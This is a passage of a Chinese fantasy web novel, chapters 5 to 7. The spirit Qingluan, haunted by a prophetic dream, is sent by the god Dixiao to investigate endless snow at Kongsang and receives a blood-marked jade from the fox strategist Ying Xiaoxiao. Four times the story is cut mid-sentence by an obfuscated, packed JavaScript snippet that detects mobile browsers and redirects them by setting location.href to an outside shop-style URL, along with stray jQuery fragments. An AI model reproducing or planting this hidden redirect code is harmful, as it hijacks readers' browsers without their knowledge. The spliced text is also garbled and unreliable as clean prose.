阖上眼,鲜红的血和火都透不过眼帘,她陷入一瞬绝对的黑暗,却又在下一个瞬间睁眼,这回映入眼中的是太阳初升时散发的光芒,还有她在青要山上木质的床。 没有滚烫的鲜血,没有焚世的火海,甚至也没有九重天上终年寒凉的夜,以及永远盘桓在宫宇之上虚空之中的不知名生物,她不再听见悠长孤寂的鲸鸣,窗外是动物穿过树林时发出的窣窣声,还有熟悉的欢快鸟语。 她又活过来了? 她不敢相信自己居然还能活下来,更不明白她为何还能回到青要山中,她有些恍惚地抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712356|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起手抚了抚心口,迟疑着顿了顿,隐约感觉到心脏的跳动。 忽然一道呼唤她的声音从窗外传来,打破了她关于自己重新活过来的种种猜想,那是个太熟悉也太陌生的声音,是她日思夜想却经年不闻的声音,是已陨落太多年的帝宣的声音。 他在窗外唤她,小声的,切切的,一如从前。 掀开窗一跃而出的时候,帝宣显然被吓了一跳,她不自知泪流满面,抱住他哭得悲痛。 她还能见到帝宣,还能听见他的声音,还能触碰到他,这比她死而复生更令人感到不可思议,不可能的,不可能的,倘她还有一丝可能再见帝宣,除非是时光回溯。 “你这是……做噩梦了?”帝宣抚了抚她的后背,“没关系的,我在,我在。” 是了,不是死而复生,也不是时光回溯,难道她还在做梦,难道方才的一切都只是一场梦,只是一场太过真实的虚惊? 她原本将脑袋埋在帝宣怀里正哭得伤心,哭着哭着又将头抬了起来,泪眼婆娑地注视着他,看着他黑色的发,发间总是束得端端正正的冠,看着他阳光下好看的轮廓,还有能把阳光都融化的温柔眉眼。 她忽然攥住他的衣袖,“帝宣,我们逃吧,你带我逃吧。” 帝宣愣了一下,他似乎因着她的反常而有些怔然,抿了抿唇想问些什么,最终却什么也没有问,只是将她脸上的泪痕都抹掉,然后抓住她的手奔向云端。 “我不知道你为什么想要逃走,也不知道你想要逃到哪里去,我身为天君之孙,并不能肆意地说走就走。”云端之上,劲风股股,吹得二人发丝飞扬,帝宣的声音散落在风声里,碎玉似的好听:“但你可以走,你是自由的,想去何处便去何处,我虽不能同你一起,却可以带你体验自由的感觉。鸾儿,你是不是,想要体验自由的感觉?” 天边旭日灼灼初升,映入眼中如同一片燃烧的火,但不是梦中寓意毁灭的焚世心火,而是给人间带来光明和希望的火种,她随他一起奔向它,不是在奔向死亡,而是在奔赴新生。 天边的白色云烟缭绕着帝宣的玄色衣袍,风托举着他们,吹动着二人衣衫,她侧首望着帝宣,脑海里却一遍遍回放着方才那个梦,“假如未来有一天,出现了一股我们都无法抵御的力量,它要为害世间,要吞噬世人,那时候该怎么办,帝宣,你会怎么办?” 帝宣也转首望她,琉璃色眸中映着初升的朝阳,还有她的脸庞,“我是天神,更是天君之孙,享神脉,居高位,守护世人便是我的职责,若真有你说的那一日,我当以一己之身,护佑天下万民。” 她微微颤了颤,“倘如那股力量实在太强,即便以命相拼也无法阻挡,怎么走都是死路一条,那该怎么办呢?那时候舍一己之身,不就变成了白白牺牲。” “总会有办法的,鸾儿,这世上不会有这样的路,怎样走都是死路一条。”帝宣的声音一如既往温柔,像一双宽厚温暖的手掌,抚平了她如火焚烧的五脏六腑:“况且若真有那一日,我们纵容那股为害世间的力量强大到了如此地步,满天神佛都拿它无法,那我们这些仙神修炼了千万年岂不是一场笑话,想来届时更没有脸面活在世上了,我仍会舍一己之身,以死谢世人。” 朝阳攀上云端,默了一默,随后猛地跃出来,悬于穹顶,将光芒洒满人间。 她想她会永远记得,帝宣曾在苍穹之下,拉着她向自由奔逃,会永远记得他曾对她说,世上不会有这样的路,怎样走都是死路一条,会永远记得他说,倘若天下危急,将以一己之身,护天下万民。 5. 第一卷·青丝雪 青要山常年郁郁葱葱,草木经年不败,绿意千载盎然,之所以说千载,乃因青鸾只活了不足千岁,尚未能亲见这漫山遍野的翠绿是否能够万年不变,不过山中生机勃勃百兽成行,生态环境绝佳,这都是有目共睹的,哪怕放眼整个四海八荒也是独一份的,看这情势,青要山怕是可以青葱翠绿个千秋万代。 总之无论如何,于她而言,这千百年来映入眼中的景色便是如此,昨日的绿与今日的绿并无半分不同,也正因如此,今晨山上覆了一层薄薄的雪时,她拢着青色羽衣立于山巅,不知不觉站了一个上午,看得有些出神。 自化形以来,她几乎就没有离开过青要山,更没有亲眼见过雪,今日才亲眼见得这世上的自然之景,原来还有与青要山中漫天绿意截然不同的白。 帝骁回来的时候,山间风势渐大,风卷起树梢上轻盈剔透的雪,正在猎猎地吹,一同被卷起的还有青鸾裹在身上的羽衣,宽大的下摆在风中舞得兴起,像是下一秒就会携着她乘风而去。 “这么大的风,怎么不回屋里去?” 突然听见帝骁的声音,青鸾吓了一跳,从怔然中回过神来后,歪着脑袋目不转睛地打量他。 今日的他显然比平常有闲情逸致得多,从天帝处归来,没有急着处理公务,反而有工夫陪她在这里看雪。 “风虽大但不冷,倒是你,今日看起来不是很忙的样子,竟没有从天帝处领任务回来?” 帝骁是天君之孙,是九重天上亲封的武罗神君,也是这片不知因何机缘常年青葱翠绿,惹无数人眼馋的风水宝地的主人。 拥有这般殊荣,不用想也知道他自然是极得天君器重的,因而每次从九重天上归来,帝骁都会一头扎进繁重的公务里,天君好像总是有数不尽的任务要交给他处理,这四海八荒从人到妖再到各路神仙之间的大事小事,好像都压在了这位年轻的神君身上。 但不论在青鸾眼里多么令人焦头烂额的事情,帝骁处理起来总是井井有条,他好像从来没有过慌张的时候,一如此刻,在沉默地陪着青鸾看了会儿山间飞雪后,他突然徐徐开口:“不过都是些寻常的事,倒是有一件任务,我打算交给你。” 青鸾讶然地张了张口,似乎想起了什么,却又不太确定,斟酌半晌最终吐出一句:“你知道的,仙籍于我而言不是那么要紧的事情……” “并非为了仙籍,我想要你封神。”帝骁的声音一如既往平稳,像是一汪没有涟漪的平静湖水,说出来的话却令青鸾身躯一震:“你自化形以来,便居于青要山中,跟在我的身边,受此山中氤氲宝气熏陶,又得我提携,虽未成仙,却与位列仙班无异,我说你是仙,谁人敢有二话?” 青鸾听着听着,原本便紧绷着的身体变得更加僵硬。 她一届小妖,连修炼成仙的门槛都还没有摸着,哪里奢望过封神这样的事情? 她不明白帝骁怎么会将给她封神这种事说得这样轻松,思索一阵后心下了然,大抵因为帝骁实在是个大人物吧,而举凡天下厉害的大人物都是如此,能想寻常人寻常妖不敢想之计策,能成寻常仙寻常神不能成之大事。 欲让一个尚未修炼成仙的妖封神,帝骁绝绝对对算是盘古开天辟地以来第一人。 但,令她惊异得浑身僵硬的原因其实还不在于此,而在于从今晨醒来望见窗外第一抹雪色时便产生的莫名熟悉感。 自清晨初见雪景,到方才同帝骁谈话,这一切都仿佛曾在何时发生过,可她分明是第一次看见雪,也是第一次同帝骁谈起封神之事,她不明白这种奇怪的熟悉感从何而来。 至于给她封神这件事本身,虽然看起来帝骁是在痴心妄想,但他之所以会如此痴心妄想,她其实心知肚明。 作为一只化形不久的小妖,能得武罗神君提携,无异于老天给她开了个无与伦比的后门,从此她不仅与任何一只没有背景的妖不同了,甚至还在无形当中比那些没有背景的神仙们高了一个阶级,只因她抱上了一个让四海八荒神仙精怪都艳羡不已的大腿——帝骁就是她的超级大腿。 也正因为这块大腿,她可以心安理得居住在武罗神君的地盘,名正言顺栖息于这钟灵毓秀的青要山中,甚至可以跟随帝骁赴天宫宴,去天上的琼楼玉宇,见那些神仙真人。 可是到这一步,便是帝骁能为她做到的极限了。 天君老了,他实在活得太久太久了,若有一日天君退位,帝骁毫无疑问便是继承天君之位的最热门人选,到时候,他是要住到九重天上去的。 而若没有封神,便是品阶最高的仙君,也无法踏足九重天。 这就是帝骁执意要让青鸾封神的原因。 “鸾儿,我想要你一直陪着我,陪我到九重天上去。”不知是不是青鸾的错觉,帝骁的声音听来闷闷的,比耳畔逐渐变得呜咽的风声还要低沉。 她想,她其实是不大愿意住到九重天上去的,她甚至连青要山都不愿久居了,她想去四海八荒看看,去帝宣曾对她说过的蓬莱仙山、远古扶桑,去他曾对她描述过的惊天动地的古战场,那是比太华之战还要久远,古老得变成一个传说的旧神遗址,她好想走遍这个世界的角角落落,连带着帝宣那一份,她要代他一起去看看。 但终归只是想想而已,她不忍,也不敢说出口,她不知道自己在顾虑些什么。 “好。”她答应得很快,仿佛从未有过二心,从未思虑过其他。 帝骁似乎是笑了笑,但他的笑意太浅太淡,转瞬即逝。 他将一颗半透明的珠子递给青鸾:“将这颗珠子带上,务必妥善保管,不到关键时刻不得外露,这颗珠子于你此番任务而言,有大用途。” 接下来,他向青鸾具体描述了此次任务。 这一次的任务与从前的一场战争有关,乃为数百年前青丘国与华胥国在空桑发生的一场大战,经此一役后,从来不曾下雪的空桑山竟终年大雪弥漫,天界几次调查未果,因此祸只殃及空桑,便就此作罢,可是近年来雪势陡然变大,发疯似的蔓延开来,颇有波及四海八荒之势。 青要山位于天地间的最中央,可连此处都受到空桑风雪波及,其余山河国度雪势如何之大,自然可以想见。 天君交代下来的任务,便是查清空桑之雪由何而来,并彻底解决此患。 “待完成此次任务,你就算得上是为整个四海八荒谋得福祉了,我会将你之功上报九重天,此后再寻个机会为你求得封神。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712357|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>听帝骁这么说着,青鸾腹诽与其说是安排了一个任务给她,不若说是找了个封神的借口而已,就算她能顺利完成任务,替四海八荒解患,这功德也没有大到可以越级封神的程度。 想到这里,她忽觉头痛欲裂,怔了怔,一些记忆碎片铺天盖地而来。 她好像的确曾在一个久远的梦里经历过的,关于那场诡异的空桑之雪,关于帝骁试图利用此次雪患为她求得封神,甚至关于她内心的腹诽,觉得就算她将治雪的任务完成得漂亮,天君也不可能仅凭这个就给她封神。 这一切的一切,一如梦中那般,循规蹈矩、按部就班地发生着。 她感到一阵惊悚,因她想起那场梦的后续,她根本没有解决空桑雪患,根本没能完成任务,此后一直到帝骁继任天君之位,她都没有机会封神。 关于帝骁想要让她封神的意图,其实她早有猜测,并且一直以来她都觉得不必着急,认为倘若将来帝骁继任天君之位,届时给她封神岂不更加容易。 但她也知道,九重天上的形势瞬息万变,天君已许久不曾露面,无人知晓他的身体状况到底如何。 也许明日他就不行了,也许他还可以撑个千八百年,这都是说不准的事,况且帝骁虽为天君继承者的热门人选,但热门人选终归只是热门人选,毕竟不是唯一指定继承人,这其中就平添了许多变数。 帝骁从来都是有对手的,有很强势的竞争者正在虎视眈眈,譬如说他二叔帝高神的儿子帝垣。 青鸾有时在这青要山中闲得发慌,会坐下来梳理梳理这几位神君之间的政治斗争,以免大脑许久不动生了锈,尽量避免一下自己提前得上老年痴呆的可能性。梳理来梳理去,她最终得出的结论是,倘若斗来斗去最后却不是帝骁登上九重天的帝位,那么不论是谁,恐怕他在九重天上的屁股都不会坐得太稳。 帝骁绝对不会善罢甘休。 以她对帝骁的了解,提剑掀了九重天都极有可能。 想到这里她往往会紧张起来,若有一日帝骁真要提剑去掀了九重天,那么她当如何呢?她是一定要跟着帝骁的,这根本毋庸置疑。 从化形那日起,便注定如此了,化形时她睁开眼,第一眼看见的人就是帝骁,此后无论去哪里,她追随的人似乎便只能是帝骁,尽管天地间没有任何一条律令如此载明,妖这一生只能跟随自己化形时第一眼看见的人,但这已成为她与帝骁之间的默契,是她自己在不知不觉间,在自己心里定下了这么一条不可违逆的规矩。 如此,当机会来临时,抓紧时机封神,避免夜长梦多,倒也很合情合理。 但是,倘若一切当真按照梦中那样发展,那么她思虑的这些都是多余的。 因帝骁在她的梦中登上了帝位,成为下一任天君,接下来如走马灯一般闪过的,是南荒魔气之乱,还有焚烧了九重天宫的灼灼火焰。 而没有完成此次任务的她,的确如她曾经所设想的那般,在帝骁继任天君之位后,被他寻了个理由破格封神,然后跟随他一起到了九重天上去。 万古寒凉的九重天宫,灼灼刺目的焚天火海,梦中的一切,仿若昨日亲身经历,她甚至感受到心脏奋力跳动时,牵扯出阵阵的疼。 6. 青丝雪 “收拾好东西,明日便出发吧。”帝骁的声音从身侧传来,打断了她的沉思,他侧首望了一眼她,目光在她身上短暂停留后移开,望向在风雪中显得愈加摇曳生姿的青葱山脉,“你此去空桑,具体会遇见什么状况,便连我也不甚清楚,倘若遇到任何危险,切不可鲁莽行事,先从空桑退回,去往华胥国寻求帮助。” 说了这么多,似乎还是不放心,顿了一顿,他抬手摸摸青鸾的脑袋:“一定记住,这次任务我虽评估过威胁不大,但并非全无危险,若有危险不要妄动,我已私下联系过华胥国主,让他不遗余力相助。” 青鸾抬起头,若有所思地注视着他,她的目光是平静的,甚至带有一丝审视的意味。 这些年来包括此刻正在发生的事情,无一不与她多年前的梦境相吻合,这让她再一次怀疑,当年到底是做了个预知梦,还是当真经历了时光回溯这样奇异的事。 无论哪一种可能,帝骁此刻待她的好,在她眼里都染上了些别的意味。 她控制不住地想起九十九层天阶之上的诛仙台,还有万丈诛仙台下用水晶棺护着的那个女子,他唤那女子阿媱,为了令她复活,他想要剜掉她的心脏。 “今日怎么总是走神?”帝骁唤她:“鸾儿,可有心事?” 青鸾回过神来,摇摇脑袋,“没有的,我能有什么心事呢,只是,只是此番要独自一人远行,有些紧张。” 她寻的这个理由很合适,帝骁不疑有他,再一次揉了揉她的脑袋,“不必紧张,只是让你去试一试而已,倘若觉得自己做不到,随时可以回来。” 她不再言语,嗯了一声,点了点头。 在化形为人的这几百年里,除却寥寥几次跟随帝骁前往天宫赴宴,剩下几次屈指可数离开青要山的机会,便是等帝宣来寻她,然后两个人趁帝骁不在青要山的时候,做贼似的偷溜出去,还不敢溜得太远,因帝骁从九重天上归来时,往往第一件事便是前来寻她。 这一次她在帝骁的注视下名正言顺离开青要山,展翅往空桑的方向飞,风早已停了,雪花沉沉地降下来,一瓣一瓣覆在翅膀上,她的心却是前所未有的轻盈。 离空桑越近,雪势便越大,天和地都是白茫茫一片,展翅飞行逐渐变得艰难,青鸾每过一阵便要抖抖翅膀上的雪,还总会因为落在翅膀上的雪太过厚重而失去平衡。 只好化为人形,施展移形之术。 前路愈行愈艰难,风凄厉地哀嚎着,好似将天空生生撕扯出一个漏洞,揉碎了砸下来,砸在身上是浸入骨髓的凉,让人从心底生出寒意,如坠深渊。 梦中的她行至此处便坚持不住,灰溜溜打道回府,帝骁为她安排的封神之路还未开始就这样潦草结束,此刻想起这回事情,哪怕只是梦中的行为,她也觉得惭愧得很。 脑海里又不可遏制地浮现出那片焚世火海,她忽然想,倘若现实中的自己做出与梦中不同的选择,那么结果会有何不同? 无论有何不同,想必都不会比梦中的处境更加糟糕吧。 停在原地默了片刻,她咬咬牙继续朝前走。 蓦地,在一片刺眼的白里闪出一大一小两个黑影,小的那个跑得踉踉跄跄,大的那个在其后穷追不舍。 青鸾好奇心起,凑上去看了一眼。 原来大的那个黑影是只狌狌,如此追逐,想必是在追赶猎物。动物捕食而已,没什么好稀奇的。 好奇心满足了,她正欲离去,忽然又停下步伐。 如果没记错的话狌狌乃食素动物,它前面那个跑得四只蹄子快要原地起飞的影子,显然不是个素的呀? 看来这场大雪真是泛滥到了成灾的地步,想必山中植物死的死秃的秃,竟逼得平日里只吃竹笋的狌狌都开始捕食活物了。 刚歇下去的好奇心又不可遏制地升了起来,她再次驻足观望,想要看清那狌狌到底在追什么东西。 竟是一头从未见过也未曾听说过的小兽。 狐狸的尖耳朵,小鹿一样圆且湿漉漉的眼睛,耷拉在一起的毛绒绒超级大尾巴,脑袋上竟还有传说中龙族才有的特色小犄角。 这是个什么东西? 青鸾眨巴眨巴眼睛,看得兴起。 倘若此刻帝宣在身边就好了,他博学多识,想必会认得这头奇怪小兽的。 思索间,却见那小兽一个急刹车,身子扭转一百八十度,朝青鸾的方向跌跌撞撞奔来。 看来是把她当作救星,跑来寻求她的庇护了。 然则青鸾是不打算帮它的。 诚然这小东西的命是命,可那狌狌的命也是命啊,不吃掉这小兽,狌狌说不定就得饿死,小兽要是能自己逃掉那就逃吧,若是逃不掉,她插手救它岂不是破坏生态平衡? 抬步欲走时,那小兽却一头撞到了她的脚上,这样一团毛绒绒的小东西,撞得青鸾心中一颤,忍不住低头去看。 正对上它一汪圆圆的大眼睛,黑漆漆的,水汪汪的,可怜巴巴的,它伏在她的脚边,就这样望着她摇尾乞怜。 不作他想,青鸾几乎下意识地弯下腰,伸手将它捞起,放在臂弯里转身就走,留下那只大狌狌在她身后愤怒哀嚎。 此刻她并不觉得自己是在破坏生态平衡了,既然做了新的决定,那自然有了一套新的说法,就当是给那狌狌上了一课吧,要知道在这险恶的世界里生存,光会动粗是不行的,还要懂得一个道理,那就是撒娇孩子最好命。 那小兽在遇见青鸾前不知奔逃了多少里地,此刻窝在她的臂弯里,委屈地耷拉着尾巴,哼唧一声便沉沉睡去,任青鸾怎么戳它都无动于衷。 “喂,这就睡啦?不怕我把你拿去烤了?” 显然是不怕的,听到青鸾的威胁后,它耸了耸耳朵,换了个姿势露出肚皮继续睡。 已经快至空桑脚下,风雪变得愈发可怖,巴掌大的雪团砸在她脸上。 那实在是很大的雪,凝聚成大片大片的白,天塌地陷一般砸下来,青鸾忍不住揉揉眼睛企图看清前方的路,可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712358|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一揉便揉出许多泪水来,泪水结成冰晶挂在睫毛上,帘子似的遮挡住视线,让她更加看不清眼前的路。 这环境简直是出乎预料的恶劣,她停住步子犹豫了下,将那小兽放进随身带着的包袱里,摸了摸揣在怀里的半透明珠子后,定定心神,继续往山上去。 听闻当年空桑之战异常惨烈,华胥与青丘两军对峙,两国皆是不死不休的姿态,兵器碰撞与厮杀之声不绝于耳,从白天响彻黑夜,战争结束后,偌大一片空桑被血染成了红色,时隔百年重临此境,仍能感受到森然肃杀之气。 还听闻战争结束后,因太过惨烈,绝大多数人已无全尸,再加上这场诡异的大雪,竟无人前去清理尸体,整座空桑山早已成为巨大的坟冢。 附近的人总能听见夹杂在风声中的呜咽之声,那分明是人的啜泣声,像是怨魂呐喊,不得安宁。 人们认为亡灵怨气冲天,这座山已经失去了山神庇护,纷纷搬离此地,以空桑为中心,方圆几百里无一处人烟。 也不知是不是太过紧张产生了错觉,虽无人烟,青鸾却总能感觉到目光的注视,自她踏入空桑起,便好像有一道目光在注视着她,那目光无迹可寻却无处不在,就像是,整座山都在睁眼看着她。 如此,青鸾走得担惊受怕战战兢兢,好不容易行至半山腰处,忽有人影闪出,拦在她的面前。 这荒无人烟的战场遗址中凭空冒出一个人来,吓得她心脏扑通一跳奋力跃到了嗓子眼儿,待看清拦在眼前的人只是一个清秀女子后,跳到嗓子眼的心才略略放了下去。 那女子生得算是清秀,五官瞧来略显寡淡,很寻常的长相,普普通通无甚出彩之处,然则她眉眼之间有一股天生媚态,尤其一双漆黑的眸子里眼波流转,竟颇有些摄人心神。 她显然已在这里等候许久了,嘴角强撑出一抹笑意,脸上却有掩不住的疲态,“敢问姑娘,可是前来处理空桑雪患的仙使?” 青鸾谨慎地打量着她:“你是何人?寻我……寻我们仙使何事?” “空桑之雪波及四海八荒,寻常人出行都极为困难,又怎会独自到这空桑山来,姑娘有意瞒我,但想必你就是前来处理此事的仙使了。”那女子自也在打量青鸾,她倒是极有眼力,很快确定了青鸾身份后,没有藏着掖着,自报家门道:“我乃青丘英小小,此番苦候仙使,为的是将此物交给你。” 说着,她自袖中取出一块红玉递给青鸾。 “原来你就是青丘英小小?”青鸾闻言吃了一惊,没有去接,反而愈加谨慎地后退了一步。 英小小这个名字在整个四海八荒,曾经也是如雷贯耳过的,便是因为这场惊天动地的空桑之战,乃她竭力怂恿的结果。 当初这场战争的惨烈程度可谓世所罕见,战争结束后的数百年间,众人议论起这场惊动了九重天上的帝君,竟让他亲派武罗神君前往制止的战役,也仍会感到诧异,这样一场国与国之间近乎可以载入史册的战争,背后怎会有一个女子的身影? 7. 青丝雪 华胥与青丘素来不和,此事众人皆知。 不过两国虽关系紧张,但因国力相当,算得上势均力敌,因此即便剑拔弩张多年,互相虎视眈眈,却也无人敢轻举妄动,不至于真大动干戈至此。 事后众人议起,评价当年两国的这般状态恐怕也不失为天帝的一种制衡之术,而原本互相对峙却也算是平衡的场面,自青丘国换了新的国师英小小后,便开始逐渐失衡。 一向剑拔弩张的青丘,突然偃旗息鼓不再与华胥对抗,表面上的风平浪静,所掩盖的却是背地里的阴谋气息。 两个国家的子民皆能感受到,这是暴风雨前的平静,这种诡异的平静在英小小上位一年后,终止于她骤然发难挑起空桑之战。 无人知晓青丘为何突然有把握挑起这场大战,只知道战争最后的结果是两败俱伤,在天帝出手干预后,两国从空桑撤军。 自那以后空桑便下起了大雪,从此这里没有四季轮转,只有永恒严冬。 挑起此战的英小小成为众矢之的,她自空桑一役后便不知所踪,数百年间只听得众人议起这位背负千载骂名的狐族国师,却无人再见过她,当年战役的许多细节,自也随着她的消失而成为众口不一的秘史。 没想到此刻她竟候在这里,主动现身。 “当年挑起空桑之战,我自然是有所图的。”看穿青鸾心中顾虑,不待她开口问,英小小自行解释道:“但我所图的只是华胥国的凝魄珠而已,这是我与青丘国君之间的交易,我助他一举击溃华胥,他助我取得华胥圣物凝魄珠,这便是我最大的图谋了,我从未想过会酿成如此大祸,竟殃及四海八荒。” 听她说得诚恳,青鸾逐渐放下戒备。 “说起来我与青丘国君算是各取所需,如今他依然是青丘国主,我却背负骂名,成为了四海八荒的罪人,这数百年的逃亡,有时也令人觉得好不公平。”说到这里,英小小似是意识到向青鸾吐露心声不妥,不好意思地抿了抿唇:“但如今我已不想计较这些,只是想求仙使给我一个将功补过的机会,若能止了空桑大雪,我也不至于如过街老鼠般,在那些僻远之地东躲西藏。” 青鸾自认具有超高的识人天赋,虽说自化形以来她拢共也没见过几个人,但天赋就是天赋,那是天生就有的东西,根本用不着后天训练,她向来笃定自己识人技术高明。 在运用她高明的识人技巧进行判断之后,她认为英小小说的是实话,这狐族女子并不似传言当中那般穷凶极恶。 于是她接过英小小手中的红玉:“那么你将此物交给我,便是为了将功补过么?” 这玉远比寻常玉石细腻,握在手里有极温润的凉意,让人忍不住想轻轻摩挲,也正是在用指腹抚摸玉身时,她才发现此玉似有裂痕。 肉眼却是瞧不见那些细碎裂痕的,只看得见这玉通体呈现朱砂之色,红色的纹路乍一看像是淡淡的血丝,想来那些微不可见的裂痕便隐藏在了玉身纹路之下。 握的时间久了,玉在青鸾手中竟开始隐隐发烫,她好奇地翻来覆去把玩,“便是这样小小的一块玉,可助你将功补过,可助我解开空桑谜团?” 见青鸾将玉收下,英小小肉眼可见地松了口气,“正是,此玉乃华胥国主之子慕容景之物,空桑之战时被我……被我拾了去,这块玉于他而言极为重要,你拿着它,想必会有用处。” 华胥国主慕容止之子慕容景? 青鸾在脑海中迅速过了一遍,她对于四海八荒的知名人物实在不甚熟悉,何况是这年轻一辈成名不久的才俊,毕竟她栖居在青要山里长草发霉,能出门的机会实在屈指可数。 从前尚有帝宣时常来同她讲述四海八荒的奇闻异事,后来帝宣不在了,她闲极无聊只得缠着帝骁,求他给她讲讲天上地下好玩的人和事。 帝骁可不似帝宣那般,将给她讲故事当作一种乐趣,只会在被她纠缠得无可奈何时,随意捡两三件事情来,三言两语应付她罢了。 那年他应天帝之命前往空桑止战,归来时被青鸾缠着讲此行经历,彼时帝骁忙着去九重天上复命,便很随意地同她讲了两句。 那为数不多的几句话里,帝骁最为感慨的似乎便是慕容景。 却说那慕容景乃是华胥国千载难得一遇的修仙奇才。 他出生那日天降祥瑞,天边的云朵化为五色的麒麟,原本暗沉的朝阳陡然迸出万丈霞光,便连供奉在华胥国宫殿宗祠中的凝魄珠都散发出阵阵异香,时值寒冬腊月,竟催得园中百花盛开。 需知那华胥国圣物凝魄珠,乃历任飞升成仙的国君所余精魄凝结而成的仙灵,是所有华胥中人修仙的根本,这是何等圣物,居然在慕容景降生之日有所感应。 看来这天下奇才的共同特点,便是自降生起便有异于常人之处,倘若演话本,他们拿的便是不同于旁人的剧本,是天生的主角命。 慕容景就是这样的天之骄子。 这些当然都不是帝骁告诉她的,只因帝骁对慕容景评价甚高,青鸾甚感好奇,这才在几百年间一有机会便向人打听,东拼西凑得来了对慕容景的如此印象。 而那日帝骁同她谈起空桑之战,只寥寥说了这么几句: “华胥国自立国以来便以修仙为宗旨,可惜自千年前最后一位国君飞升成仙后,千百年来再无一人羽化登仙,直到这一辈人中出了个慕容景,假以时日,他能同帝师路之遥那般,以凡人之躯封神也未可知。只可惜……” 帝骁第二次叹可惜,便是可惜这样罕见的一个奇才,就这样毁于空桑之战。 回忆起帝骁说的话,青鸾摩挲红玉的手指颤了颤,对英小小道:“可是,慕容景不是死于空桑之战么?这块玉即便是他极重要之物,又还有何用呢?” “不,他还活着,一定还活着。”英小小回答得笃定:“这块玉染了他的心头血,这些年来被我用灵力养着,已然不同寻常,能与心头血的主人有所感应。” 说着,她提示青鸾注意玉身上的红色纹路:“这玉身上的血迹鲜艳如初,倘若慕容景身死,血迹则会变得黯淡,这块玉也就从活物变为了死物。” “你以此来判断慕容景还活着?”青鸾怀疑英小小是太想将功补过,想得都魔怔了,“若如此,这几百年来为何不见慕容景的踪影,他自空桑一战后便销声匿迹,难道他活着,华胥国主还会将他藏起来不成?” “也不是全无可能。”英小小一如既往笃定,有理有据地同青鸾分析:“慕容景是华胥国千年难遇的奇才,很长一段时间里,甚至可以说他是所有华胥国民的信仰和希望,毕竟自立国以来华胥人就开始修仙,没成想越修越是倒退,而慕容景便是这一代人中唯一有可能飞升成仙的。” “所以你的推测是,慕容景自空桑一战后身负重伤,被慕容止带回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712359|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去疗伤,然则他虽未身死,却也性命垂危,为了不使国民信仰崩塌,慕容止便将所有消息隐匿起来,因此旁人其实不知慕容景到底是死是活?”青鸾听明白英小小的意思了,甚至还推测出了她的推测,现在她觉得自己除了具有高超的识人天赋外,还点亮了写话本的技能。 英小小蓦然睁大眼睛,仿佛看见知己:“正是如此!空桑之战后各人去向、再发生何事,我便一概不知了,但此战的关键就在慕容景身上,倘若他还活着,那么一切问题都可迎刃而解。” 青鸾若有所思地点点头,感觉自己懂了,又没有完全懂,“倘若说慕容景并没有死,而是陷入了昏迷,就这么昏迷了几百年,你总不能企图让我用这块红玉去唤醒他吧?” 英小小将眼睛睁得更大了,她现在彻彻底底将青鸾引为知己。 古往今来不管是现实中还是话本里,那些广为流传的传奇事迹,不都是这样讲的么,故事的主人公在经历劫难之后往往会销声匿迹,但死是不可能死的,而是在一处极为隐秘的地方陷入昏迷,等待着什么人或东西前来唤醒。 主角是不可能死的,只因死了故事就没办法继续。 于是她握住青鸾的手,重重地说了声正是如此:“所以我想,仙使可携此玉转道前往华胥,去打探一番虚实,倘若慕容景当真活着,想办法令他醒来便是此局关键。” 青鸾听着觉得有些道理,仔细一想却又觉得不是那么有道理,总感觉这番推演的某一个环节哪里怪怪的,却又说不出个所以然来,她一向很能放过自己,绞尽脑汁都想不出来干脆就不想了,于是将红玉收下,反握住英小小的手道:“那好吧,华胥国我是要去的,但总归这空桑我来都来了,不能半途而返,我打算上去瞧瞧,你要不要同我一起?” 英小小拒绝得很干脆,可见太容易将旁人引为知己的人往往也有一个重大缺陷,那就是不怎么讲义气,“这座山戾气冲天,传言说得没错,空桑已经失去了山神的庇佑,我……我就不再往上走了罢。” 她拍了拍青鸾的肩膀以示对其精神上的支持,随后转眼不见了踪影。 英小小的消失便如同她的出现那般突然,可以看得出来,她逃亡的这几百年间将来无影去无踪之术修炼得臻于化境。 